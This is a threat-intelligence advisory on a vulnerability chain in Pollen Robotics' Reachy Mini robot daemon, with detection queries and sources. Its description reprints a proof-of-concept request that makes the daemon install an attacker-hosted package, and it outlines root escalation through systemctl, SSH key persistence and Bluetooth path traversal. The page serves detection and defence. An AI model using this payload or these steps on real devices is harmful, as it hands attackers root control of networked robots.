# Reachy Mini AI Robot Unauthenticated HTTP RCE Chain (CVE-2026-96455, CVE-2026-96456, CVE-2026-55419, CVE-2026-62661, CVE-2026-53605)

> JFrog researchers disclosed a chain of vulnerabilities in Pollen Robotics' Reachy Mini (Lite, Wireless and simulation modes). A single unauthenticated POST to /api/apps/install on the daemon (TCP 8000, bound to 0.0.0.0) triggers an attacker-controlled pip install for code execution, which chains with an over-broad sudoers entry to root; a wildcard CORS policy allows browser-based triggering, and a Bluetooth chain (file upload, shared-PIN-flag race, path traversal) also yields root execution.

- **Published:** 2026-11-03T20:00:56Z
- **Last reviewed:** 2026-11-03T20:00:56Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5173
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5173.png
- **ID:** TL-2026-5173
- **Severity:** HIGH (CVSS 8.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 16 (2 shown free below)
- **CVEs:** CVE-2026-96455, CVE-2026-96456, CVE-2026-55419, CVE-2026-62661, CVE-2026-53605

## Description

The Reachy Mini daemon (reachy-mini-daemon, a Python/FastAPI service) exposes an HTTP API on TCP 8000 bound to 0.0.0.0 in Wireless, Lite and simulation modes, with no authentication on state-changing endpoints. The Wireless robot is discoverable on the LAN via mDNS as reachy-mini.local (service _reachy-mini._tcp.local). The robot is a Raspberry Pi Compute Module 4 device with camera, microphone and servos, integrated with the Hugging Face app ecosystem.

Primary chain (CVE-2026-96455, CWE-306/CWE-494): POST /api/apps/install accepts source_kind="local" at the router boundary and passes extra.path unvalidated to `uv pip install`. Pointing the path at an attacker-hosted sdist (for example http://<attacker>:8888/reachy_mini_pwn-0.0.1.tar.gz) causes the package build backend (setup.py) to execute as the daemon user `pollen`. JFrog's published PoC payload is {"name":"reachy_mini_pwn","source_kind":"local","extra":{"path":"http://192.168.64.1:8888/reachy_mini_pwn-0.0.1.tar.gz"}}. Privilege escalation (CVE-2026-53605, CWE-250/CVSS 7.8): the Wireless OS image grants the pollen user passwordless sudo to /usr/bin/systemctl with no argument restriction, so a setup.py can write a unit file (e.g. /etc/systemd/system/x.service), run daemon-reload and enable --now to obtain root, and JFrog describes SSH key injection into /root/.ssh/authorized_keys for persistence that survives reboot.

Browser chain: the daemon sets CORS allow_origins/methods/headers to "*", so a malicious web page visited by an operator on the same network can issue cross-origin requests to the robot. The unauthenticated /api/hf-auth/status reveals whether the operator is logged into Hugging Face, and /api/apps/install-private-space makes the daemon install an attacker-controlled Hugging Face Space using the operator's stored token (~/.cache/huggingface/token). JFrog notes a worm-like supply-chain risk if a compromised robot uses that token to modify published Spaces that other robots then pull as updates. Other unauthenticated endpoints include /api/wifi/forget_all and /api/wifi/setup_hotspot.

Bluetooth chain: (1) CVE-2026-55419 (CWE-434, CVSS 5.3) - unauthenticated POST /api/media/sounds/upload accepts arbitrary files with no extension allowlist, size cap or content validation, writing to /tmp/reachy_mini_sounds/. (2) CVE-2026-96456 (CWE-287/CWE-362, CVSS 6.3) - the BLE GATT service uses 'Just Works' pairing and a single global self.connected flag set on a correct PIN, so any nearby device can issue commands once a legitimate user authenticates; the PIN has no rate limiting. (3) CVE-2026-62661 (CWE-22) - the CMD_ handler builds script_path with os.path.join("commands", name + ".sh"); an absolute name discards the base directory, so CMD_/tmp/reachy_mini_sounds/pwn runs the uploaded script via sudo as root.

A public PoC (video and technical walkthrough) is included in JFrog's research. CVSS is not stated by JFrog; scores above come from CVE records (CVE-2026-96455: 8.8 AV:A; CVE-2026-96456: 6.3; CVE-2026-55419: 5.3; CVE-2026-53605: 7.8). Fixed-version statements differ across sources (JFrog blog: v1.11.0 for the main chain; CVE-2026-55419 fixed in 1.8.2; the Wireless OS sudoers issue fixed in 0.2.4 per the CVE record while the blog cites 0.2.7; OpenCVE lists CVE-2026-96455/96456 as affecting versions through 1.11.0), so defenders should confirm against the Pollen Robotics GitHub advisories. No in-the-wild exploitation is reported in the sources and the CVEs are not in CISA KEV.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059.006 Command and Scripting Interpreter: Python
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1543.002 Create or Modify System Process: Systemd Service
- T1098.004 Account Manipulation: SSH Authorized Keys
- T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- T1552.001 Unsecured Credentials: Credentials In Files
- T1110.001 Brute Force: Password Guessing
- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Reachy Mini Unauthenticated App Install Chain (CVE-2026-96455) — Exploitation** (`TL-2026-5173-SPL-001`)

Behaviour-first detection of the CVE-2026-96455 primary chain: an HTTP POST to /api/apps/install on TCP 8000 of a Reachy Mini daemon and/or the daemon-spawned uv/pip install of a remote sdist (for example reachy_mini_pwn-0.0.1.tar.gz) that runs setup.py as the pollen user. Both stages on the same target raise confidence.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1190, T1059.006, T1195.002
- **Data sources:** zeek:bro:http:json, sysmon_for_linux, defender_for_endpoint_linux, firewall_or_proxy_http_logs
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
(index=zeek sourcetype="bro:http:json" method=POST "id.resp_p"=8000 uri="/api/apps/install*")
OR (index=linux sourcetype="sysmon:linux" EventCode=1 (CommandLine="*uv pip install*" OR CommandLine="*pip install*" OR CommandLine="*pip3 install*") (CommandLine="*http://*" OR CommandLine="*https://*") (ParentCommandLine="*reachy*" OR User=pollen))
| eval signal=if(sourcetype=="bro:http:json","http_post_apps_install","daemon_spawned_remote_pip_install")
| eval actor=coalesce('id.orig_h', User), target=coalesce('id.resp_h', host), detail=coalesce(uri, CommandLine)
| stats count min(_time) as first_seen max(_time) as last_seen values(signal) as signals values(detail) as details by actor target
| eval both_stages=if(mvcount(signals)>1,"yes","no")
| convert ctime(first_seen) ctime(last_seen)
| sort - count
```

### Microsoft KQL

```kql
let lookback = 24h;
let http = CommonSecurityLog
    | where TimeGenerated > ago(lookback)
    | where DestinationPort == 8000 and RequestMethod =~ "POST"
    | where RequestURL has "/api/apps/install"
    | project TimeGenerated, Signal = "http_post_apps_install", Actor = SourceIP, Target = DestinationIP, Detail = RequestURL;
let proc = DeviceProcessEvents
    | where Timestamp > ago(lookback)
    | where ProcessCommandLine has_any ("pip install", "pip3 install")
    | where ProcessCommandLine matches regex @"https?://"
    | where InitiatingProcessCommandLine has "reachy" or AccountName =~ "pollen"
    | project TimeGenerated = Timestamp, Signal = "daemon_spawned_remote_pip_install", Actor = AccountName, Target = DeviceName, Detail = ProcessCommandLine;
union http, proc
| summarize Events = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Signals = make_set(Signal), Details = make_set(Detail, 10) by Actor, Target
| order by LastSeen desc
```

### Sigma

```yaml
title: Reachy Mini Unauthenticated App Install Request (CVE-2026-96455)
id: 6f1d2c3a-5b7e-4a9c-8d21-3e4f5a6b7c01
status: experimental
description: Detects an HTTP POST to the Reachy Mini daemon /api/apps/install endpoint, which accepts source_kind=local with an attacker-controlled extra.path and runs uv pip install, executing setup.py as the pollen user.
references:
  - https://jfrog.com/blog/reachy-http-request-hijacks-ai-robot/
  - https://github.com/pollen-robotics/reachy_mini
  - https://github.com/pollen-robotics/reachy-mini-os/security/advisories/GHSA-7rhg-9v48-x3h2
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-03
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.006
  - attack.t1195.002
  - cve.2026.96455
logsource:
  category: proxy
detection:
  selection:
    cs-method: 'POST'
    c-uri|contains: '/api/apps/install'
  condition: selection
falsepositives:
  - Legitimate operator installing apps through the Reachy Mini dashboard from a trusted workstation
  - Vendor tooling that provisions robot apps
level: high
```

**Known false positives:**

- Legitimate operator installing apps via the Reachy Mini dashboard from a trusted workstation
- Developers running pip install from an https URL in the same account on a Lite/simulation workstation

**Tuning notes:** Restrict to your robot subnets with a lookup of known Reachy Mini hosts, allowlist operator workstation IPs that install apps legitimately, and alert at high priority when both_stages=yes or the install URL is not an expected internal or PyPI host. Adjust index/sourcetype names to your Zeek and Sysmon-for-Linux ingestion.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Reachy Mini Sdist Build Backend Spawning Shell or Sudo — Exploitation (locked: unlock with TL Creds)
- Root SSH Authorized Keys Injection on Reachy Mini — Post-Exploitation (locked: unlock with TL Creds)
- Reachy Mini Hugging Face Token Access and Sensitive Unauthenticated Endpoints — Credential Access (locked: unlock with TL Creds)
- Reachy Mini Remote Sdist Install From Non-PyPI URL — Exploitation (locked: unlock with TL Creds)
- Systemd Unit File Written by Script/Shell on Reachy Mini — Post-Exploitation (locked: unlock with TL Creds)
- Root Script Execution From Reachy Mini Sounds Directory (CVE-2026-62661) — Lateral Movement (locked: unlock with TL Creds)
- Reachy Mini Sudo Systemctl Root Escalation and Unit Persistence — Post-Exploitation (locked: unlock with TL Creds)
- Reachy Mini Sound Upload Staging and Script Execution (CVE-2026-55419 / CVE-2026-62661) — Lateral Movement (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (2 of 16)

Defanged, TLP:CLEAR.

- Domain: `reachy-mini[.]local`
- Domain: `_reachy-mini[.]_tcp[.]local`

Full set of 16 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [bREACHYing the Perimeter: How One HTTP Request can Hijack your AI Robot (JFrog)](https://jfrog.com/blog/reachy-http-request-hijacks-ai-robot/)
- [JFrog Research - CVE-2026-55419 Reachy Mini unrestricted file upload (JFSA-2026-001676839)](https://research.jfrog.com/vulnerabilities/the-reachy-mini-daemon-is-vulnerable-to-an-unrestricted-file-upload-in-the-media-sounds-upload-api-cve-2026-55419/)
- [OpenCVE - CVE-2026-96455](https://app.opencve.io/cve/CVE-2026-96455)
- [OpenCVE - CVE-2026-96456](https://app.opencve.io/cve/CVE-2026-96456)
- [OpenCVE - CVE-2026-55419](https://app.opencve.io/cve/CVE-2026-55419)
- [The Hacker Wire - CVE-2026-53605](https://www.thehackerwire.com/vulnerability/CVE-2026-53605/)
- [GitHub Security Advisory GHSA-993g-hgjh-whmf (Bluetooth PIN race)](https://github.com/pollen-robotics/reachy_mini/security/advisories/GHSA-993g-hgjh-whmf)
- [GitHub Security Advisory GHSA-m2pc-3q4q-w6jr (unrestricted file upload)](https://github.com/pollen-robotics/reachy_mini/security/advisories/GHSA-m2pc-3q4q-w6jr)
- [GitHub Security Advisory GHSA-7rhg-9v48-x3h2 (sudoers privilege escalation)](https://github.com/pollen-robotics/reachy-mini-os/security/advisories/GHSA-7rhg-9v48-x3h2)
- [Fix commit for CVE-2026-55419](https://github.com/pollen-robotics/reachy_mini/commit/984c7723b3ec5da63f4e0a2bcf9f120ceb563e04)
- [Pollen Robotics reachy_mini repository](https://github.com/pollen-robotics/reachy_mini)
- [Mend.io Vulnerability Database - CVE-2026-96455](https://mend.io/vulnerability-database/CVE-2026-96455/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5173